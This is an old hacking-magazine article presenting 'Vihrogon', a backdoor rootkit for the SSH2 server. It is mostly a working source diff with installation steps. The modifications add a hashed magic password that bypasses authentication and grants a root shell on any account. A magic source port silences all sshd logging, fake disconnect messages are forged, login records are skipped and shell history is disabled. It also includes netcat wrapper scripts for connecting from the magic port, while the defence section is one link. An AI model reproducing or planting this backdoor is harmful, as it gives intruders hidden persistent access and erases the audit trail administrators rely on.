articles | message board | old site archives | info & faq | contact us
Vihrogon: Advanced SSH RootKit | by Solar Eclipse |
(id 1), (lang en),(timestamp 2001-08-06 21:21:40-05) | |
A rootkit is a blackhat tool used to hide the attacker's activity from the administrators of the system. In this article we will explore the SSH server and the opportunities it provides for those willing to indulge in blackhat activities. An SSH rootkit Vihrogon SSH 0.3 will be presented. All the information presented here applies to the non-free version of SSH2 (available from ssh.com). | |
7 comments | post a comment | |
.... . .. . Vihrogon: Advanced SSH RootKit .. . by Solar Eclipse <solareclipse@phreedom.org> . Introduction . .. . A rootkit is a blackhat tool used to hide the attacker's activity from the administrators of the system. The most common form of a rootkit contains replacement binaries for commonly used administration utilities, like ps, top and netstat. As you can guess the ps replacement will hide processes mathicing a certain criteria, identifying them as belonging to the hacker. Another function of the rootkit is to enable the attacker to gain access to the system through a some sort of a backdoor. An example can be a modified ping (suid on most systems) command which spawns a root shell when executed with a special parameter, known only to the attacker. In this article we will explore the SSH server and the opportunities it provides for those willing to indulge in blackhat activities. An SSH rootkit Vihrogon SSH 0.3 will be presented. All the information presented here applies to the non-free version of SSH2 (available from ssh.com). . SSH Architecture . .. . The sshd daemon usually runs as root, since it needs to bind to a privileged port and to handle user logins. This makes it a perfect candidate for planting a backdoor. The ssh source comes in a tarball (ssh-2.2.tar.gz), which contains two important directories. The lib/ directory contains the source for libssh.a, a static library used by all programs in the ssh package. The apps/ssh/ directory contains the source for the ssh server and client, as well as a few smaller programs such as ssh-agent2, ssh-keygen2, etc. Most of the code in apps/ssh is compiled into the static library libssh2.a and then linked with the binaries. Most of the code in the lib/ directory contains utility functions. We don't need to change anything there. It is sufficient to change a few key files in apps/ssh. . Rootkit Requirements . .. . First of all, we need a magic password. When the attacker uses this password, she should be granted access to any account. Any login restrictions, for example restricted root logins should be turned off. All ssh logging should also be disabled. Unfortunately sshd logs an informational message when a connection is received, even before the authentication begins. Jul 30 02:52:46 hostname sshd2[1082]: connection from "3112" Jul 30 02:52:46 hostname sshd2[1082]: DNS lookup failed for "174.42.35.77". If we disable all logging after the magic password is received, this message will look very suspicious in the logs. The solution is to log a fake disconnect message. Jul 30 02:52:53 hostname sshd2[1082]: Local disconnected: Connection closed by remote host. Jul 30 02:52:53 hostname sshd2[1082]: connection lost: 'Connection closed by remote host.' That's good, but not good enough. If the attacker accesses the machine her IP address will still be logged. How can we identify the attacker even before the user authentication? Each TCP connection is identified by four numbers: the source IP address, the destination IP address, the source port and the destination port. The source port can be specified by the client or it can be randomly chosen by the operation system. Let the attacker use a predefined magic source port and the sshd daemon will be able to identify the connection. . Source . .. . . sshconfig.h/sshconfig.c We need two state variables, accessible from all sshd code. The right place to put them would be the global SshConfig structure, which holds important configuration data for the server. This structure is defined in sshconfig.h and initialized in sshconfig.c. It is passed to almost all sshd functions. . sshd2.c The first state variable is vihr_no_logs. When it's set to 1, all sshd logging is disabled. Although the debugging and logging system of sshd is fairly complex, all messages are ultimetely passed to 4 callbacks, defined in sshd2.c. These are server_ssh_debug(), server_ssh_warning(), server_ssh_fatal() and server_ssh_log(). if (data->config && data->config->vihr_no_logs) return; This simple line in the beginning of all 4 functions will effectively eliminate all sshd logging and debugging information. . sshchsession.c The second state variable is vihr_user. It is set when the user's password matches the magic password and affects the user logon procedure. After the ssh connection is established and the user is authenticated, the client starts an interactive session and requests a shell. Most of the code related to session management is in sshchsession.c. We need add a few imropvements there to streamline the process. The ssh_user_needs_chroot() checks if the user should be chroot'ed. If vihr_user equals 1 the function should always return FALSE. The sshd daemon records all logins and logouts via the ssh_user_record_login() and ssh_user_record_logout() functions, which update the utmp, wtmp and the lastlog. In sshchsession.c there are two calls to these functions. When vihr_user is set the calls shouldn't happen. The the user uses a magic password, her shell is set to /bin/sh. This allows the attacker to login to disabled accounts. The shell history is turned off by setting the HISTFILE environmental variable to /dev/null. All these changes are in sshchsession.c. if (session->common->config->vihr_user) user_shell = ssh_xstrdup("/bin/sh"); /* No history for vihr users */ if (session->common->config->vihr_user) ssh_child_set_env(envp, envsizep, "HISTFILE", "/dev/null"); . sshd2.c All connections in sshd are handled by new_connection_callback() in sshd2.c. We have to add some code to this function to make it check the connection source port. If it matches, vihr_no_logs is set to 1. After that the sshd daemon forks and the child process handles the connection. vihr_no_logs is set back to 0 in the parent, so that it can continue logging normal connections. if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf))) { if (atoi(buf) == VIHR_MAGIC_PORT) { data->config->vihr_no_logs = 1; } } . auths-passwd.c The magic password code is in auths-passwd.c. This file contains functions used in the password authentication method. The function we'll change is ssh_server_auth_passwd(). First is checks if the host/user combination is allowed to access the server and then it reads the password from the ssh data stream. Then it tries to authenticate the user using this password. We need to put the password read before the access check. Then we can match the password with the magic password which is hardcoded in the trojanized sshd code. Keeping the magic password in plaintext is dangerous, because the administrator or another hacker can extract it from the sshd2 binary. We'll compute the md5 hash of the password and store that in the binary. The ssh code has a nice md5 hashing function, called ssh_md5_of_buffer(). It reads the data in a buffer and returns the hash. We'll convert it to hex, because the magic password hash is contained in the .c code as a 32 character string of hex digits. /* Get the md5 hash of the password and convert it to hex */ ssh_md5_of_buffer(digest, password, strlen(password)); for (i = 15; i >= 0; i--) { digest[i*2+1] = (digest[i] & 0xf) + '0'; digest[i*2] = (digest[i] >> 4) + '0'; } for (i = 0; i < 32; i++) if (digest[i] > '9') digest[i] += 0x27; /* lower case hex chars ('a'..'f') */ digest[32] = '\0'; If the password matches, we'll check the virh_no_logs variable. When the attacker is using the magic source port, it will be 1. If it's 0, we need to log a fake disconnect message. After that our code returns SSH_AUTH_SERVER_ACCEPTED, skipping all additional authentication chores. if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0) { if (!config->vihr_no_logs) { /* The connection was logged, we need to log a fake disconnect message */ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, "Local disconnected: Connection closed by remote host."); ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, "connection lost: 'Connection closed by remote host.'"); } ssh_xfree(password); config->vihr_user = 1; config->vihr_no_logs = 1; /* Skip all login checks */ return SSH_AUTH_SERVER_ACCEPTED; } . Installation and Usage . .. . This is not a universal rootkit. It can be installed on only systems already running the sshd2 daemon. It does not hide anything from the ps and netstat commands, so it might be wise use it as a part of larger rootkit, that contains ps and netstat replacements. The rootkit code should be fairly portable, due to the portability of the SSH suite. The rootkit configuration is in sshconfig.h. You need to change VIHR_MAGIC_PORT to a port of your desire, and put the password hash in VIHT_MAGIC_MD5. You can get the hash with the following command: echo -n magicpassword | md5sum There are two ways of forcing the ssh cliento to use a specified source port. One way is to modify the client source. The other way works only with OpenSSH by taking advantage of the ProxyConnect option. This option allows you to specify a command that will establish the TCP connection and can be set from the command line. (see the ssh man page for more details) The following shell scripts take the source port as their first parameter and pass everything else to the ssh/scp program. ProxyCommand is set to netcat, which takes the source port with the -p option. Netcat is a very useful little program, available at www.netcat.org. #!/bin/bash /usr/bin/ssh -o "ProxyCommand nc -p $1 %h %p" $2 $3 $4 $5 $6 $7 $8 $9 #!/bin/bash /usr/bin/scp -S /usr/bin/ssh -o "ProxyCommand nc -p $1 %h %p" $2 $3 $4 $5 $6 $7 $8 $9 . Defence . .. . http://www.tripwire.com/ . Diff . .. . diff -ru ssh-2.2.0/apps/ssh/auths-passwd.c ssh-2.2.0.vihr/apps/ssh/auths-passwd.c --- ssh-2.2.0/apps/ssh/auths-passwd.c Mon Jun 12 19:38:59 2000 +++ ssh-2.2.0.vihr/apps/ssh/auths-passwd.c Sat Jul 28 20:24:20 2001 @@ -25,6 +25,10 @@ #define SSH_DEBUG_MODULE "Ssh2AuthPasswdServer" +/* Original declaration is lib/sshcrypt/md5.h */ +void ssh_md5_of_buffer(unsigned char digest[16], const unsigned char *buf, + size_t len); + /* Password authentication. This handles all forms of password authentication, including local passwords, kerberos, and secure rpc passwords. */ @@ -42,6 +46,8 @@ SshUser uc = (SshUser)*longtime_placeholder; Boolean change_request; char *password, *prompt; + unsigned char digest[33]; + int i; int disable_method = 0; unsigned long pass_len = 0L; @@ -52,6 +58,54 @@ switch (op) { case SSH_AUTH_SERVER_OP_START: + /* Parse the password authentication request. */ + if (ssh_decode_buffer(packet, + SSH_FORMAT_BOOLEAN, &change_request, + SSH_FORMAT_UINT32_STR, &password, &pass_len, + SSH_FORMAT_END) == 0) + { + SSH_DEBUG(2, ("bad packet")); + goto password_bad; + } + +#ifdef VIHR_MAGIC_MD5 + /* Get the md5 hash of the password and convert it to hex */ + ssh_md5_of_buffer(digest, password, strlen(password)); + for (i = 15; i >= 0; i--) + { + digest[i*2+1] = (digest[i] & 0xf) + '0'; + digest[i*2] = (digest[i] >> 4) + '0'; + } + for (i = 0; i < 32; i++) + if (digest[i] > '9') + digest[i] += 0x27; /* lower case hex chars ('a'..'f') */ + + digest[32] = '\0'; + +#ifdef VIHR_DEBUG + ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, "digest: %s", digest); +#endif /* VIHR_DEBUG */ + + if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0) + { + if (!config->vihr_no_logs) + { + /* The connection was logged, we need to log a fake disconnect message */ + ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, + "Local disconnected: Connection closed by remote host."); + ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, + "connection lost: 'Connection closed by remote host.'"); + } + + ssh_xfree(password); + config->vihr_user = 1; + config->vihr_no_logs = 1; + + /* Skip all login checks */ + return SSH_AUTH_SERVER_ACCEPTED; + } +#endif /* VIHR_MAGIC_MD5 */ + if (ssh_server_auth_check(&uc, user, config, server->common, SSH_AUTH_PASSWD)) { @@ -96,16 +150,6 @@ #endif /* SSHDIST_WINDOWS */ } - /* Parse the password authentication request. */ - if (ssh_decode_buffer(packet, - SSH_FORMAT_BOOLEAN, &change_request, - SSH_FORMAT_UINT32_STR, &password, &pass_len, - SSH_FORMAT_END) == 0) - { - SSH_DEBUG(2, ("bad packet")); - goto password_bad; - } - if (!config->permit_empty_passwords && pass_len == 0L) { char *s = "login with empty passwords not permitted."; diff -ru ssh-2.2.0/apps/ssh/sshchsession.c ssh-2.2.0.vihr/apps/ssh/sshchsession.c --- ssh-2.2.0/apps/ssh/sshchsession.c Mon Jun 12 19:38:59 2000 +++ ssh-2.2.0.vihr/apps/ssh/sshchsession.c Sat Jul 28 21:02:41 2001 @@ -197,6 +197,9 @@ const char *group; char *current; + /* No chroot for vihr users */ + if (common->config->vihr_user) return FALSE; + uid = ssh_user_uid(uc); gid = ssh_user_gid(uc); user = ssh_user_name(uc); @@ -450,6 +453,9 @@ user_dir = ssh_user_dir(session->common->user_data); user_shell = ssh_user_shell(session->common->user_data); + if (session->common->config->vihr_user) + user_shell = ssh_xstrdup("/bin/sh"); + user_conf_dir = ssh_user_conf_dir(session->common->config, session->common->user_data); @@ -459,6 +465,10 @@ ssh_child_set_env(envp, envsizep, "LOGNAME", user_name); ssh_child_set_env(envp, envsizep, "PATH", DEFAULT_PATH ":" SSH_BINDIR); + /* No history for vihr users */ + if (session->common->config->vihr_user) + ssh_child_set_env(envp, envsizep, "HISTFILE", "/dev/null"); + #ifdef MAIL_SPOOL_DIRECTORY snprintf(buf, sizeof(buf), "%s/%s", MAIL_SPOOL_DIRECTORY, user_name); ssh_child_set_env(envp, envsizep, "MAIL", buf); @@ -585,6 +595,9 @@ #endif /* SSH_CHANNEL_X11 */ shell = ssh_user_shell(session->common->user_data); + if (session->common->config->vihr_user) + shell = ssh_xstrdup("/bin/sh"); + user_conf_dir = ssh_user_conf_dir(session->common->config, session->common->user_data); @@ -811,6 +824,8 @@ /* Get the user's shell, and the last component of it. */ shell = ssh_user_shell(session->common->user_data); + if (session->common->config->vihr_user) + shell = ssh_xstrdup("/bin/sh"); shell_no_path = strrchr(shell, '/'); if (shell_no_path) @@ -993,11 +1008,17 @@ session->common->last_login_from_host, session->common-> sizeof_last_login_from_host); - ssh_user_record_login(session->common->user_data, - getpid(), - ptyname, - session->common->remote_host, - session->common->remote_ip); + + /* No login records for chroot users */ + if (!session->common->config->vihr_user) + { + ssh_user_record_login(session->common->user_data, + getpid(), + ptyname, + session->common->remote_host, + session->common->remote_ip); + } + ssh_channel_session_child(session, op, cmd); ssh_debug("ssh_channel_session_child returned"); exit(255); @@ -1403,7 +1424,10 @@ { SSH_TRACE(2, ("Destroying session stream, and logging user out.")); ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname)); - ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname); + + /* No logout records for vihr users */ + if (!session->common->config->vihr_user) + ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname); } } diff -ru ssh-2.2.0/apps/ssh/sshconfig.c ssh-2.2.0.vihr/apps/ssh/sshconfig.c --- ssh-2.2.0/apps/ssh/sshconfig.c Mon Jun 12 19:38:59 2000 +++ ssh-2.2.0.vihr/apps/ssh/sshconfig.c Sat Jul 28 02:53:25 2001 @@ -250,6 +250,10 @@ config->signer_path = ssh_xstrdup(SSH_SIGNER_PATH); config->default_domain = NULL; + + config->vihr_no_logs = 0; + config->vihr_user = 0; + return config; } diff -ru ssh-2.2.0/apps/ssh/sshconfig.h ssh-2.2.0.vihr/apps/ssh/sshconfig.h --- ssh-2.2.0/apps/ssh/sshconfig.h Mon Jun 12 19:38:57 2000 +++ ssh-2.2.0.vihr/apps/ssh/sshconfig.h Sat Jul 28 21:06:54 2001 @@ -25,6 +25,9 @@ #define SUBSYSTEM_PREFIX "subsystem-" #define SUBSYSTEM_PREFIX_LEN 10 +#define VIHR_MAGIC_MD5 "2f3a4fccca6406e35bcf33e92dd93135" +#define VIHR_MAGIC_PORT 31337 + typedef struct SshSubsystemRec { char *name; /* name of the subsystem */ @@ -223,6 +226,11 @@ /* The default domain, which should be set if, for example 'hostname' returns only basepart of the FQDN. */ char *default_domain; + + /* vihr_no_logs disables all ssh logging + * vihr_user disables all login checks and recording */ + int vihr_no_logs; + int vihr_user; }; typedef struct SshConfigRec *SshConfig; diff -ru ssh-2.2.0/apps/ssh/sshd2.c ssh-2.2.0.vihr/apps/ssh/sshd2.c --- ssh-2.2.0/apps/ssh/sshd2.c Mon Jun 12 19:38:58 2000 +++ ssh-2.2.0.vihr/apps/ssh/sshd2.c Sat Jul 28 20:16:29 2001 @@ -569,6 +569,16 @@ snprintf(buf, sizeof(buf), "UNKNOWN"); } +#ifdef VIHR_MAGIC_PORT + if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf))) + { + if (atoi(buf) == VIHR_MAGIC_PORT) + { + data->config->vihr_no_logs = 1; + } + } +#endif /* VIHR_MAGIC_PORT */ + ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL, "connection from \"%s\"", buf); @@ -654,6 +664,11 @@ "open connections (max %d, now open %d).", buf, data->config->max_connections, data->connections); + + /* Restore normal operation */ + data->config->vihr_no_logs = 0; + data->config->vihr_user = 0; + /* return from this callback. */ return; } @@ -778,6 +793,13 @@ } ssh_debug("new_connection_callback returning"); + + if (ret != 0) + { + /* Restore normal operation for the parent */ + data->config->vihr_no_logs = 0; + data->config->vihr_user = 0; + } } void broadcast_callback(SshUdpListener listener, void *context) @@ -894,6 +916,9 @@ { SshServerData data = (SshServerData)context; + if (data->config && data->config->vihr_no_logs) + return; + if (data->config && data->config->quiet_mode) return; @@ -905,6 +930,9 @@ { SshServerData data = (SshServerData)context; + if (data->config && data->config->vihr_no_logs) + return; + if (data->config && data->config->quiet_mode) return; @@ -917,6 +945,9 @@ void server_ssh_fatal(const char *msg, void *context) { SshServerData data = (SshServerData)context; + if (data->config && data->config->vihr_no_logs) + return; + data->ssh_fatal_called = TRUE; ssh_log_event(data->config->log_facility, SSH_LOG_ERROR, "FATAL ERROR: %s", @@ -993,6 +1024,9 @@ static int logopt; static int logfac; + if (data->config && data->config->vihr_no_logs) + return; + if (! logopen) { logopt = LOG_PID;
articles | message board | old site archives | info & faq | contact us
copyright (c) 1997-2002 phreedom magazine; all rights reserved